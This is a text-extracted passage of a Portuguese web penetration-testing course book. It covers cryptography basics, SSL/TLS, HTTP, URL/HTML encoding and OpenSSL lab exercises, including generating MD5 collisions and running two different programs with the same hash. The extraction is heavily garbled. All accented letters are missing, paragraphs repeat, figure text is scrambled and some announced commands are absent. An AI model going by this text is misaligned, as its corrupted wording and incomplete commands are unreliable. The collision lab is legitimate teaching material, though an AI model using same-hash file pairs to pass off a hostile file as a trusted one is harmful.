Apache ModSecurity. Imperva SecureSphere WAF. Cisco ACE WAF. Barracuda WAF.
Reviso de criptografia
Os primeiros vestgios de criptografia datam da poca dos egpcios, os quais utilizaram hierglifos irregulares na representao de algumas informaes. O objetivo de tal prtica
Teste de Invaso de Aplicaes Web
era o de prover o sigilo da informao, que foi o nico requisito de segurana almejado pela criptografia clssica e pr-moderna. Muitos dos algoritmos desenvolvidos nessas fases foram utilizados na proteo de mensagens to importantes, como aquelas transmitidas por governantes aos generais em batalha, mas nenhum deles foi construdo com uma forte fundamentao e entendimento dos ataques possveis. Consequentemente, a maioria desses mecanismos sucumbiu aos mais diversos ataques concebidos. Pode-se dizer que esse perodo durou at o artigo seminal de Shannon (1949), que demonstrou a segurana incondicional do algoritmo one-time pad e introduziu o uso da matemtica nessa rea de estudo.
One-time pad Cifra simtrica de fluxo cuja segurana incon-dicional, isto , independente-mente do poder computacional existente hoje e no futuro, ou de avanos na matemtica, no possvel quebr-la.
A criptografia moderna, nascida desse marco, compreende um conjunto de tcnicas matemticas e computacionais utilizado para atender os seguintes requisitos de segurana da informao: confidencialidade, integridade, irretratabilidade, autenticidade da origem da mensagem e autenticidade de entidades.
1 Integridade: requisito de segurana da informao que objetiva garantir que a informao no seja alterada de maneira no autorizada ou desconhecida.
1 Irretratabilidade: tambm chamado de no repdio, um requisito de segurana da informao que tem por objetivo impedir que entidades neguem aes previamente realizadas.
Cifras
Cifras so mecanismos criptogrficos utilizados na proteo do sigilo da informao e so compostos de uma transformao de ciframento e outra de deciframento. Os esquemas de ciframento podem ser classificados em simtricos e assimtricos, dependendo da relao entre as chaves.
A primeira recebe como entradas um texto em claro e uma chave de ciframento e resulta em um texto cifrado, que prov a confidencialidade da informao. Logo, o texto cifrado pode ser enviado para o destinatrio por canais potencialmente inseguros, sem o risco de um atacante interceptar o canal de comunicao e violar o sigilo da mensagem. A segunda transformao utilizada para recuperar o texto original a partir do texto cifrado e da chave de deciframento.
Alice Chave de ciframento Chave de deciframento Beto
Texto em claro
Algoritmo de ciframento
Texto cifrado
???
Figura 1.5 Modelo geral para o uso de cifras.
$%^!,78g @%*&():A
Eva
Canal inseguro
Cifras simtricas
Uma cifra dita simtrica ou de chave secreta quando fcil computacionalmente determinar uma chave a partir da outra e, em muitos casos prticos, as duas so iguais. Por esse motivo, as chaves devem ser conhecidas apenas pelas partes que participam da comunicao. Os algoritmos dessa classe so rpidos e utilizam chaves relativamente pequenas. Um problema desses esquemas, porm, que o nmero de chaves em uma rede tende a ser grande.
Isso ocorre porque quaisquer duas entidades que queiram se comunicar de forma confidencial precisam compartilhar uma chave. Em uma rede com vrias entidades, considerando-se que todo mundo deseja comunicar-se seguramente com o restante das pessoas do grupo, o nmero total de chaves dado pelo nmero de combinaes de n, dois a dois, isto , Cn,2. Outro problema fundamental nesse esquema o da distribuio segura de chaves, isto , como duas entidades podem partilhar uma chave sem que uma terceira parte no autorizada tome conhecimento dela. Essa troca de chaves pode ser feita presencialmente ou por meio de protocolos criptogrficos para estabelecimento de chaves, como o protocolo Diffie-Hellman, por exemplo. As cifras simtricas podem ser classificadas em cifras de blocos e cifras de fluxo. As primeiras so aquelas que dividem o texto em claro em blocos de tamanho fixo e processam um bloco por vez, com a mesma chave de ciframento. As cifras de fluxo, por sua vez, podem ser consideradas cifras de blocos simples com tamanho unitrio, mas que podem variar a chave de ciframento utilizada para transformar cada bloco. A sequncia de chaves utilizadas chamada de fluxo de chaves.
Cifras assimtricas
Uma cifra chamada de assimtrica quando so utilizadas chaves diferentes para ciframento (chave pblica) e deciframento (chave privada), mas que so relacionadas matematicamente. Somente a ltima precisa ser mantida em sigilo e, naturalmente, deve ser computacionalmente infactvel recuper-la a partir da chave pblica, que pode ser distribuda livremente. Essas cifras so muito mais lentas que as cifras simtricas e necessitam de chaves maiores para garantir um mesmo nvel de segurana.
Por outro lado, o nmero de chaves utilizadas bem menor: cada entidade precisa apenas de um par de chaves e, assim, em uma rede com n entidades, haver somente n pares de chaves. Para ilustrar um problema inerente a essa classe de cifras, imagine o seguinte cenrio: Alice deseja enviar uma mensagem secreta para Beto. Ela ento obtm a chave pblica dele de uma fonte qualquer (uma pgina web, um anncio de jornal etc.), utiliza-a para cifrar a mensagem
Teste de Invaso de Aplicaes Web
e envia o resultado a Beto. Como somente Beto possui a chave privada correspondente, somente ele capaz de recuperar a mensagem original. Mas o que aconteceria se Eva, curiosa por saber das mensagens alheias, tivesse fornecido sua chave pblica Alice como sendo a de Beto? Como Eva possui a chave privada correspondente, ela capaz de obter a mensagem original de Alice e, em seguida, cifr-la com a chave pblica de Beto, enviando-lhe o resultado. No fim desse cenrio, Alice no saberia que sua mensagem foi revelada a outra parte que no Beto. O ataque foi possvel porque no se verificou a autenticidade da chave pblica utilizada, o que pode ser realizado por meio de certificados de chave pblica.
10
1 Resistncia da segunda pr-imagem: dado um elemento x qualquer e seu respectivo hash, deve ser computacionalmente infactvel encontrar um elemento diferente de x que possua o mesmo hash.
armazenados em arquivos. Como pela resistncia da pr-imagem, infactvel recuperar uma senha a partir de um hash especfico, ela encontra-se protegida.
cadora intermediria (Stevens et al., 2009). Tal ataque permite a emisso de certificados digi-
MACs
Message Authentication Code (MAC) um mecanismo criptogrfico simtrico que tem por objetivo prover integridade da informao e autenticidade da origem da mensagem. Message Authentication Code (MAC) um mecanismo criptogrfico simtrico que tem por
objetivo prover integridade da informao e autenticidade da origem da mensagem. Aceita como entradas uma mensagem e uma chave simtrica e gera como resultado um cdigo de autenticao. Devido simetria da chave, que compartilhada entre os usurios de uma
11
comunicao, no possvel garantir a irretratabilidade, pois qualquer um deles capaz de gerar o mesmo MAC para uma dada mensagem. As propriedades esperadas desses algoritmos esto listadas a seguir:
Assinaturas digitais
A assinatura digital uma primitiva criptogrfica essencial para prover autenticao da origem da mensagem, integridade e irretratabilidade. Por meio desse mecanismo, uma entidade capaz de associar a identidade dela a uma informao. Diferentemente de assinaturas manuais, que so constantes, a assinatura digital varia de acordo com a mensagem sendo assinada e um segredo conhecido apenas pelo signatrio. A assinatura digital uma primitiva criptogrfica essencial para prover autenticao da origem da mensagem, integridade e irretratabilidade. Por meio desse mecanismo, uma entidade capaz de associar a identidade dela a uma informao. Diferentemente de assi-
naturas manuais, que so constantes, a assinatura digital varia de acordo com a mensagem sendo assinada e um segredo conhecido apenas pelo signatrio. Se no fosse assim, seria muito fcil falsificar assinaturas digitais, uma vez que bastaria copiar uma cadeia de bits constante. Ainda nessa linha, um requisito importante para a efetividade do mecanismo que deve ser computacionalmente infactvel construir uma mensagem para uma assinatura existente, bem como gerar uma assinatura fraudulenta para uma mensagem qualquer. Um esquema de assinaturas digitais consiste em um algoritmo de gerao e outro de verificao de assinaturas. O primeiro produz uma assinatura digital, em funo da mensagem e chave privada do signatrio, enquanto que o segundo emprega a chave pblica e utilizado para verificar se uma assinatura autntica, ou seja, se foi criada por uma dada entidade sobre uma informao especfica. Embora a grande maioria desses mecanismos seja assimtrica, existem alguns esquemas simtricos, mas que dependem de uma terceira parte confivel para execuo de ambos os processos. Os esquemas de assinaturas digitais podem ser classificados em:
Teste de Invaso de Aplicaes Web
1 Esquemas de assinaturas digitais com recuperao de mensagens: o processo de verificao no requer a mensagem original, que recuperada a partir da prpria assinatura.
Certificados digitais
Existe muita confuso na literatura e entre profissionais de segurana sobre o que realmente um certificado digital. muito comum encontrar afirmaes de que ele serve para autenticar uma entidade, como um servidor web, por exemplo. Mas isso est longe de ser a verdade.
12
O propsito de um certificado, na realidade, atestar a autenticidade da chave pblica de uma entidade, condio que fundamental para o emprego de criptossistemas assimtricos (Menezes et al., 2001). Isso obtido pela confiana depositada em uma terceira parte confivel, a autoridade certificadora (AC), que assina digitalmente um documento eletrnico contendo informaes sobre uma dada entidade e a chave pblica autntica dela. Esses dados, mais a assinatura digital, compem o certificado digital, que pode ser distribudo por canais inseguros, sem o risco de adulterao indetectvel. A emisso, como chamado o processo descrito, deve ocorrer apenas aps a AC, com a diligncia devida, verificar documentos comprobatrios da identidade da entidade e que ela tem a posse da chave privada associada. Para validar um certificado digital, necessrio verificar se a data atual est dentro do prazo de validade do certificado, se ele no est revogado e se a assinatura digital da autoridade certificadora vlida (esse processo executado recursivamente ao longo da cadeia de certificao). Essa ltima parte requer a chave pblica autntica da AC, a qual pode ser obtida por meio de um certificado digital
emitido para ela, por uma AC de nvel superior, ou por meio de um certificado autoassinado, caso seja uma AC raiz. Nesse ltimo caso, o certificado assinado com a prpria chave privada associada chave pblica contida nele. Uma vez que qualquer pessoa pode gerar um certificado assim, primordial que ele seja fornecido por um canal autntico e ntegro.
A verso 3 do SSL foi avaliada publicamente e deu origem ao Transport Layer Security (TLS)
IETF Internet Engineering Task Force uma organizao aberta, sem um processo formal de filiao, que define padres tecnolgicos para a internet.
v1.0, padronizado pelo IETF. Desse modo, preenche a lacuna existente na pilha TCP/IP, com relao a um mecanismo de transporte seguro de informaes fim-a-fim. Os protocolos especificados pelo padro esto ilustrados na Figura 1.6.
SSL Handshake Protocol SSL Change Cipher Spec SSL Alert Protocol
HTTP
Telnet
IP
O protocolo SSL Record, representado na Figura 1.7, o responsvel pelos servios de confidencialidade, integridade e autenticidade da origem da mensagem. Ele utilizado pelos demais protocolos da pilha SSL e por protocolos da camada de aplicao, como o HTTP e o FTP, por exemplo. O dado de aplicao a ser transportado fragmentado em diversos blocos que so tratados individualmente. Em alguns casos, ocorre compresso antes que o MAC seja calculado e adicionado ao final do bloco. O conjunto cifrado com o algoritmo simtrico definido pelo handshake e, em seguida, adicionado o
13
cabealho SSL Record, que inclui a verso de SSL empregada e identificao do protocolo de camada superior que processar o fragmento.
Dados da aplicao
Fragmentos
Compresso
Adio de MAC
O prximo protocolo importante, executado no incio da conexo, o SSL Handshake (Figura 1.8), que utilizado para autenticao do servidor (e eventualmente do cliente) e definio das caractersticas de segurana a serem utilizadas na proteo do canal. No passo 1, o cliente envia ao servidor as sutes criptogrficas suportadas, verso de protocolo, identificador de sesso e um nmero gerado pseudoaleatoriamente. O servidor devolve uma mensagem com a sute escolhida, verso do protocolo, outro nmero pseudoaleatrio e o mesmo identificador de sesso, caso o valor fornecido seja no nulo. O certificado digital do servidor enviado no passo 2, juntamente com uma solicitao de certificado do cliente, caso a autenticao mtua tenha sido configurada. Nesse caso, esse certificado fornecido no passo 3, quando tambm so enviadas informaes para o estabelecimento de chaves. Na ltima etapa, os algoritmos selecionados so ativados por meio do protocolo SSL Change Cipher Spec e a mensagem finished, enviada protegida com os novos parmetros, utilizada para verificar se o protocolo transcorreu com sucesso. Isso s possvel se cada uma das partes conseguir decifrar corretamente essa ltima mensagem enviada. Por fim, o SSL Alert Protocol utilizado para transportar mensagens de alerta entre os pares de uma sesso SSL. Cada mensagem composta de apenas dois bytes, que indicam a severidade do alerta e a notificao especfica.
14
Cliente
Servidor
clien
t_he
llo
o
se
hell rver_
(1)
certi serv e
cat
e nge t
y_e r_ke
xcha
ca certi s
te_re
ques
(2)
r_h erve
ello_
done
Tempo
certi clien
cat
e hang rify e
(3)
t_key
_exc
certi
cat
e_ve
chan
ge_c
iphe
r_sp
ec
nis
hed
r_sp ec
chan
Figura 1.8 SSL Handshake.
he e_cip
(4)
nis
hed
15
No incio, os recursos acessados por meio de HTTP eram todos estticos, bem diferente dos dias de hoje, em que o contedo gerado dinamicamente, de acordo com a interao do usurio com o site. O protocolo opera no estilo cliente-servidor, no qual o navegador web (cliente) realiza uma requisio de recurso a um servidor web, que responde com o contedo solicitado, se existir. HTTP no orientado conexo e, assim, um protocolo que no mantm estado das conversaes. O transporte dos dados, normalmente, realizado por meio de TCP/IP, mas isso no um requisito; basta que o protocolo utilizado fornea entrega confivel. Apesar disso, o HTTP no orientado conexo e, assim, um protocolo que no mantm o estado das conversaes. Considerando como era utilizado nos primrdios, isso, de fato, no era uma necessidade. Os recursos so identificados de maneira nica por meio de Uniform Resource Locators (URLs), que correspondem aos endereos que usurios digitam nos navegadores para acessarem sites especficos. Uma URL define o protocolo de acesso, o servidor do recurso, porta utilizada, caminho no servidor at o elemento, nome do recurso e parmetros. Note que nem todos esses itens so obrigatrios em uma requisio. O protocolo HTTP no possui nativamente nenhum mecanismo para proteger os dados que carrega. Assim, informaes podem ser adulteradas, injetadas ou removidas, de maneira no autorizada, durante o trnsito at o cliente ou servidor. Para preencher essa lacuna, o HTTP pode ser utilizado sobre os protocolos SSL ou TLS, que fornecem servios para autenticao de entidades, autenticao da origem da mensagem, integridade e sigilo do canal de comunicao. Esse o padro conhecido como HTTPS e empregado para transporte de dados sigilosos em aplicaes bancrias e de comrcio eletrnico, por exemplo.
Requisio
Teste de Invaso de Aplicaes Web
Para acessar um recurso em um servidor, uma requisio HTTP deve ser realizada pelo cliente, de acordo com um formato pr-estabelecido, contendo trs sees. A primeira consiste em uma linha descrevendo a requisio; em seguida, diversas linhas compem os cabealhos HTTP pertinentes; a terceira seo, opcional, corresponde ao corpo da mensagem e deve vir separada da segunda, por uma linha em branco.
Como ilustrao, considere que um usurio deseja ver o site da Escola Superior de Redes da RNP, utilizando o navegador Firefox. A seguinte requisio feita pelo software:
GET http://esr.rnp.br:80/ HTTP/1.1 Host: esr.rnp.br User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR;
16
rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729) Accept: text/html,application/xhtml+xml,application/ xml;q=0.9,*/*;q=0.8 Accept-Language: pt-br,pt;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive
A primeira linha sempre composta por um mtodo HTTP (GET), o recurso identificado por uma URL (http://esr.rnp...) e a verso do protocolo utilizada (HTTP/1.1). As demais linhas do exemplo so cabealhos, que identificam, entre outras coisas, o nome de domnio do servidor, o navegador utilizado, o tipo de sistema operacional do cliente e tipos de contedos e codificaes aceitos.
Resposta
A resposta do servidor a uma requisio, tambm, composta por trs sees:
1 Sequncia de cabealhos fornecendo informaes como data, servidor e tipo do contedo. 1 Contedo referente ao recurso solicitado, separado das sees anteriores, por uma
ou mais linhas em branco. O resultado da requisio da seo anterior est ilustrado a seguir. importante mencionar que uma resposta pode gerar novas requisies, caso o contedo apresentado possua elementos como imagens e scripts com especificao de arquivos.
HTTP/1.1 200 OK Date: Thu, 09 Sep 2010 01:07:53 GMT Server: Apache/2.2.12 (Ubuntu) X-Powered-By: PHP/5.2.10-2ubuntu6.4 Set-Cookie: esr=1fa7bce201555382a9e901fff3b3a1fc1226489b; path=/; domain=rnp.br Set-Cookie: esr_data=yQdWXrdxCb%2BhaHkaiwD715%2F4PVrGe%2BqfoMX81a1 CksCHNB6J%2BjI%2BrffuKXrlCbCi; path=/; domain=rnp.br Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: esr_data=vsppYJJlddvBfXVW%2FPC%2FAPH7zwMPGzJTMKgMALrli domain=rnp.br Cache-Control: post-check=0, pre-check=0 Vary: Accept-Encoding X-Content-Encoding: gzip Content-length: 4965 Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE html PUBLIC -//W3C//DTD XHTML 1.0 Transitional//EN /_dtd/xhtml1-transitional.dtd><html xml:lang=pt-br lang=ptbr><head><meta http-equiv=Content-Type content=text/html; charset=iso-8859-1 /><title>Escola Superior de Redes</title> ...
17
Captulo 1 - Segurana em aplicaes web
HhYkDN7bUE1ZP5KN6WkNVBhhA%2Fi3nlB6rALyd7x8qVoIqu8fINFYFqA; path=/;
Mtodos
H oito mtodos, ao todo, especificados pelo protocolo HTTP, os quais indicam a ao solicitada pela requisio. Os dois mais importantes, no escopo desse texto, so os mtodos GET e POST. O primeiro utilizado para solicitar pginas ao servidor e permite que parmetros sejam
passados como parte da URL do recurso. Isso implica que informaes sensveis no devem ser passadas por meio de GET, pois elas sero exibidas em histricos de navegadores e registradas em trilhas de auditoria, no servidor web. O mtodo POST empregado para submeter aes ao servidor e os parmetros podem ser passados como parte do corpo da mensagem e, tambm, da URL.
Cdigos de estado
Cdigos de estado so valores numricos de trs dgitos, que fazem parte da primeira linha da resposta do servidor a uma requisio e denotam o resultado da solicitao. So divididos em cinco classes, de acordo com o significado:
1 1xx: cdigos de informao. Atualmente, so raramente utilizados. 1 2xx: indicam que a requisio foi atendida com sucesso. Ex.: 200 OK resposta padro,
quando o recurso provido sem erros.
1 3xx: informam que o cliente precisa realizar aes adicionais para completar a requisio. Ex.: 301 Moved Permanently faz com que requisies subsequentes da URL solicitada sejam permanentemente redirecionadas para a informada na mensagem.
1 4xx: enviadas quando a requisio no pode ser atendida, por erro de sintaxe, falta de
autorizao ou porque o recurso no foi encontrado. Ex.: 404 Not Found o recurso no pde ser encontrado no servidor.
1 5xx: indicam erros no servidor que o impediram de atender a requisio. Ex.: 501 Not
Implemented o servidor no suporta o mtodo solicitado.
Cabealhos
Os cabealhos compem a segunda seo das requisies e respostas e definem vrias caractersticas importantes de ambas. So compostos pelo nome e o valor, separados pelo sinal de dois-pontos e listados um por linha. Os itens a seguir explicam alguns dos cabealhos encontrados nos exemplos anteriores:
1 User-Agent: indica a aplicao cliente que gerou a requisio. 1 Accept: tipos de contedo aceitos pela aplicao cliente. 1 Server: nome do servidor e informaes do sistema operacional. Se nenhum mecanismo de camuflagem for utilizado, pode ser empregado para identificao do elemento, durante a fase de reconhecimento em um ataque.
18
1 Expires: determina a validade do corpo da mensagem, isto , at que instante o navegador pode utiliz-lo, a partir de uma cpia local, sem necessitar realizar novas requisies para o mesmo recurso.
Cookies
Um cookie um elemento do protocolo HTTP, enviado ao navegador pelo servidor, com o objetivo de lembrar informaes de um usurio especfico. formado por uma cadeia de caracteres, normalmente organizada em pares nome/valor, separados por ponto e vrgula. Uma vez definido, enviado pelo navegador em toda requisio subsequente ao mesmo domnio. Dois usos principais so a manuteno de sesso, uma vez que isso no suportado nativamente pelo protocolo, e a autenticao de usurios. Alguns atributos podem ser definidos para os cookies, alm dos pares contendo nome e valor (Stuttard e Pinto, 2007):
1 expires: define por quanto tempo o cookie vlido e, assim, permite que o estado se
mantenha aps o navegador ser encerrado.
1 domain: define para quais domnios o cookie vlido, desde que o servidor seja um
membro daqueles.
1 path: define os caminhos para os quais o cookie vlido. 1 secure: demanda que o cookie seja enviado somente em requisies feitas por meio de HTTPS. 1 HttpOnly: quando definido, impede que seja acessado por cdigo executado no lado do
cliente. Porm, nem todo navegador honra esse atributo.
Autenticao HTTP
O protocolo HTTP possui dois mtodos nativos, Basic e Digest, para autenticar usurios antes que acessem recursos protegidos do servidor (Franks et al., 1999). Ambos seguem o seguinte fluxo geral:
1. Usurio solicita um recurso protegido do servidor. 2. Se o usurio ainda no se autenticou, uma resposta com cdigo de estado 401
Unauthorized enviada ao navegador, juntamente com um cabealho WWWAuthenticate, que define o tipo requerido de autenticao.
3. O usurio fornece usurio e senha em uma caixa de dilogo, os quais so enviados, em
Esquema de codificao que utiliza um subconjunto de 64 elementos da tabela ASCII para representao de informaes.
credenciais so includas em toda requisio subsequente ao mesmo domnio. Se no, o fluxo retorna ao segundo passo. A impossibilidade de travamento de conta por mltiplas tentativas sucessivas e invlidas de autenticao e a inexistncia de mecanismos de encerramento de sesso (exceto fechando o navegador) so alguns dos problemas desses mtodos de autenticao.
BASE64
19
Como requisies HTTP oriundas de um mesmo usurio podem ser agrupadas em uma nica conversao?
Esquemas de codificao
Um processo de codificao consiste em substituir elementos de um conjunto por itens de outro, segundo uma regra pr-estabelecida, de modo que o simples conhecimento das transformaes de ida e volta suficiente para realizar as tradues entre os dois domnios. Em segurana de aplicaes web, esquemas de codificao podem ser empregados na proteo contra alguns ataques, como o cross-site scripting, por exemplo, e, em testes de invaso, para a construo correta dos vetores de teste, quando estes so passados por meio de URLs, alm do contorno de filtros de entrada.
Codificao de URL
Uma URL ou mais geralmente uma URI pode conter somente caracteres ASCII imprimveis, conforme especificado pela RFC 3986. Alguns deles possuem significado especial em URLs, atuando como delimitadores, e, assim, so classificados como reservados. Quando precisam ser utilizados como dados, nesse contexto, devem ser codificados, para que possam ser corretamente identificados como tais. O mtodo empregado, chamado de codificao de URL ou codificao percentual, consiste no uso de um caractere % seguido de dois dgitos hexadecimais, que representam o valor numrico do dado sendo codificado. Por exemplo, um espao, cujo valor ASCII 32, mapeado para %20, de acordo com esse
Teste de Invaso de Aplicaes Web
esquema. Note que, em URLs, espaos tambm podem ser substitudos pelo caractere +. importante mencionar que caracteres no imprimveis devem sempre ser codificados segundo esse esquema, assim como os reservados, enquanto que os demais elementos podem ser transformados, embora isso no seja obrigatrio. A Figura 1.9 ilustra a codificao de todos os caracteres reservados de acordo com a RFC 3986. importante mencionar que caracteres no imprimveis devem sempre ser codificados segundo esse esquema, assim como os reservados, enquanto que os demais elementos podem ser transformados, se desejado, embora isso no seja obrigatrio.
20
Caractere reservado ! * ( ) ; :
Figura 1.9 Codificao dos caracteres reservados em URL.
Caractere codificado %21 %2A %27 %28 %29 %3B %3A %40 %26
Caractere reservado = + $ , / ? # [ ]
Caractere codificado %3D %2B %24 %2C %2F %3F %23 %5B %5D
@ &
Codificao HTML
Alguns caracteres possuem significado especial em HTML e, assim, se for necessrio exibi-los como parte do contedo, necessrio codific-los, para que no sejam considerados como metacaracteres pelo navegador web. Existem trs maneiras de efetuar essa tarefa, descritas a seguir:
21
22
Roteiro de Atividades 1
Atividade 1 Arquiteturas e tecnologias de aplicaes web
Identifique a arquitetura e as tecnologias empregadas por uma das aplicaes web utilizadas pela empresa em que trabalha. Desenhe a topologia de rede contendo os elementos principais que suportam a aplicao.
Cifras simtricas
O Advanced Encryption Standard (AES) uma cifra simtrica de blocos adotada pelo governo norte-americano e descrita no documento FIPS PUB 197. O AES especifica o algoritmo Rijndael, operando sobre blocos de dados de 128 bits e com chaves de 128, 192 ou 256 bits. Note que a especificao original de Rijndael permite trabalhar com tamanhos de blocos e chaves adicionais.
1. Gerao de chaves AES
O primeiro passo antes de se utilizar uma cifra simtrica na proteo do sigilo de informaes gerar uma chave o mais aleatria possvel e distribu-la seguramente a todas as partes autorizadas. Quando o objetivo proteger uma comunicao, isso realizado como parte de um protocolo de estabelecimento de chaves. Por outro lado, se o propsito prover o sigilo de dados armazenados, a chave gerada por um PRNG ou por um hardware criptogrfico. Nesta atividade, vamos utilizar o comando rand, do OpenSSL, para a gerao de uma chave de 128 bits:
A sada corresponde a uma cadeia de 32 dgitos hexa, que totaliza 128 bits, e pode ser empregada como chave de um AES-128.
2. Cifrando mensagens
Captulo 1 - Roteiro de Atividades
O comando para cifrar uma mensagem com o algoritmo AES, usando uma chave de 128 bits, no modo de operao CBC, :
openssl aes-128-cbc in <arquivo a ser cifrado> -out <arquivo cifrado> -K <chave em hexadecimal> -iv <vetor de inicializao>
Cifre o arquivo arq002.txt com a chave gerada no passo 1 e com iv = 0, armazenando o resultado em arq002.enc. Verifique o tamanho desse arquivo e observe que ele mltiplo de 16 bytes (128 bits tamanho do bloco AES), embora o arquivo original no seja. Isso ocorre porque cifras
23
simtricas de blocos operam sempre em unidades de tamanho fixo pr-definido e, quando o ltimo bloco no mltiplo desse tamanho, ele completado em um processo de padding. Repita o processo para o arquivo arq001.txt, armazenando o resultado em arq001.enc, e verifique os tamanhos dos dois arquivos. Note que um bloco adicional de 16 bytes foi adicionado ao arquivo cifrado, apesar do arquivo original ser mltiplo do tamanho do bloco utilizado pelo AES. Nesse caso, um bloco de padding deve ser includo, para que o algoritmo possa diferenciar os dois casos, no processo de deciframento.
3. Decifrando mensagens
O comando para decifrar mensagens com o algoritmo AES, usando uma chave de 128 bits, no modo de operao CBC, :
openssl aes-128-cbc d in <arquivo cifrado> -out <arquivo decifrado> -K <chave em hexadecimal> -iv <vetor de inicializao>
Decifre o arquivo arq002.enc, armazenando o resultado em arq002.plain. Verifique que o contedo desse arquivo o mesmo de arq002.txt. Repita o processo com uma chave diferente da utilizada no processo de ciframento. Uma mensagem de erro ser exibida, pois somente possvel decifrar o arquivo com a mesma chave utilizada para proteg-lo.
Cifras assimtricas
O RSA, cujo nome deriva dos criadores Rivest, Shamir e Adleman, foi a primeira cifra assimtrica da histria da criptografia e baseada na dificuldade da fatorao de nmeros inteiros grandes. Atualmente, o criptossistema de chave pblica mais utilizado, principalmente, na negociao de tneis SSL/TLS.
1. Gerao de um par de chaves RSA
Um par de chaves RSA consiste em uma chave pblica (e, n) e da chave privada correspondente d. Execute o comando abaixo para gerao de um par de chaves de k bits, com k = 2048.
openssl genrsa out <arquivo que armazenar par de chaves> <tamanho em bits da chave>
2. Visualizao do par de chaves RSA
Para que as pessoas possam cifrar mensagens para voc, necessrio que elas tenham uma cpia autntica da sua chave pblica. Normalmente, isso feito por meio de certificados
24
digitais, mas, por enquanto, apenas exportaremos a chave pblica para um arquivo separado, da seguinte maneira:
openssl rsa in <arquivo contendo par de chaves> -pubout > <arquivo que conter chave pblica>
4. Cifrando mensagens
Nesse passo necessrio disponibilizar sua chave pblica para aqueles que queiram enviar-lhe mensagens sigilosas. Assim, fornea o arquivo gerado no passo anterior para um de seus colegas. Crie um arquivo texto qualquer menor que 200 bytes e execute o comando abaixo para cifr-lo, usando a chave pblica previamente fornecida.
openssl rsautl in <arquivo a ser cifrado> -out <arquivo cifrado> -inkey <arquivo de chave pblica do destinatrio> -pubin encrypt
Verifique o contedo do arquivo cifrado e veja que ele binrio, no tendo nenhuma relao com o arquivo em claro. Porm, observe que o tamanho do arquivo exatamente o mesmo que o tamanho da chave.
5. Decifrando mensagens
Repasse o arquivo gerado a seu colega que disponibilizou a chave pblica, para que ele possa recuperar a mensagem original. Envie tambm o arquivo cifrado a outro colega que no possua a chave privada correspondente. O comando para deciframento :
openssl rsautl in <arquivo cifrado> -out <arquivo decifrado> -inkey <arquivo com chave privada> -decrypt
O destinatrio correto conseguir decifrar o arquivo e recuperar o arquivo original, enquanto que o usurio que no possui a chave privada correspondente obter erro ao executar o comando acima.
6. Arquivos grandes
Repita o passo explicado no item 4 para um arquivo que seja maior que o mdulo da chave (divida o tamanho em bits por 8). O que acontece? Esse erro ocorre porque o RSA no pode ser utilizado para proteger mensagens maiores que o tamanho do mdulo.
25
O OpenSSL suporta nativamente diversas funes de hash criptogrficas, alm de outros algoritmos criptogrficos. Para verificar a lista de hashes suportados, digite:
man dgst
3. Clculo de hashes
Visualize com a aplicao evince os arquivos letter_of_rec.ps e order.ps, criados por Magnus Daum e Stefan Lucks, e veja que so diferentes. Calcule tambm o MD5 dos arquivos, usando o comando do exerccio anterior, e observe que eles colidem. Repita o exerccio com os arquivos BarackObama.pdf, JohnMcCain.pdf e ParisHilton.pdf, criados por Marc Stevens, Arjen Lenstra e Benne de Weger.
Teste de Invaso de Aplicaes Web
Execute os programas evil e good para constatar que realizam tarefas diferentes, embora possuam o mesmo MD5.
6. Gerao de colises em MD5
unzip fastcoll_v1.0.0.1_source.zip
Em seguida, gere um executvel, compilando os fontes obtidos:
Agora, execute o arquivo gerado para obter um par de arquivos, msg1 e msg2, para os quais o MD5 colide. Caso a execuo demore mais que 5 minutos, cancele o programa e o reinicie.
./md5col
Verifique com o comando cmp que os arquivos gerados so diferentes e, com o comando OpenSSL, que os hashes, mesmo assim, colidem:
Assinaturas digitais
O RSA, alm de ser uma cifra, tambm um algoritmo de assinatura digital, que utiliza exatamente a mesma construo e processo de gerao de chaves. A assinatura gerada por meio da chave privada e a verificao ocorre utilizando-se a chave pblica.
1. Gerao de um par de chaves RSA
Conforme mencionado, o processo de gerao de chaves o mesmo que os das cifras RSA. Assim, execute o comando abaixo para gerao de um par de chaves de 2048 bits:
openssl genrsa out <arquivo que armazenar par de chaves> <tamanho em bits da chave>
2. Exportando a chave pblica
Para que pessoas possam verificar assinaturas digitais geradas por voc, necessrio que elas tenham uma cpia autntica da sua chave pblica. Normalmente, isso feito por certificados digitais, mas, por enquanto, apenas exportaremos a chave pblica para um arquivo separado:
openssl rsa in <arquivo contendo par de chaves> -pubout > <arquivo que conter chave pblica>
3. Assinando mensagens
O OpenSSL implementa o RSA com recuperao da mensagem e, por isso, somente podem ser assinados dados menores que o tamanho da chave. Escolha um arquivo que deseja assinar digitalmente e execute o comando abaixo.
openssl rsautl -sign in <arquivo a ser assinado> -out <arquivo que armazenar a assinatura> -inkey <arquivo contendo chave privada> pkcs
Repasse o arquivo de assinatura digital a outro aluno, juntamente com sua chave pblica, para que ele possa verificar a assinatura.
4. Verificando assinaturas
Captulo 1 - Roteiro de Atividades
27
-inkey <arquivo contendo chave pblica> -pubin -pkcs -out <arquivo recuperado da assinatura>
Se a assinatura for vlida, nenhuma mensagem ser exibida e o arquivo original ser recuperado e gravado no arquivo especificado pelo parmetro out.
Certificados digitais
Conforme discutido, em criptossistemas assimtricos fundamental que sejam utilizadas chaves pblicas autnticas. O no atendimento desse requisito de segurana torna os protocolos vulnerveis a ataques man-in-the-middle, por exemplo. Uma maneira de solucionar esse problema consiste em encapsular uma chave pblica em um certificado digital, que digitalmente assinado por uma terceira parte confivel, chamada de autoridade certificadora. O objetivo desta atividade ilustrar como certificados podem ser requisitados e como o processo de emisso de certificados digitais, por parte da autoridade certificadora.
1. Gerando a requisio de certificado
Considere-se o par de chaves gerado na atividade sobre assinaturas digitais. Para que terceiros possam verificar assinaturas geradas com a chave privada em questo, eles precisam ter acesso chave pblica autntica correspondente, a qual normalmente distribuda encapsulada em um certificado digital. Para esse fim, o primeiro passo aps a gerao do par de chaves preparar uma requisio (no formato PKCS #10) a ser enviada a uma autoridade certificadora, para emisso do certificado. O comando a ser executado :
openssl req new key <arquivo contendo par de chaves> out <arquivo que conter requisio> sha1
O OpenSSL solicitar as informaes a serem includas no certificado:
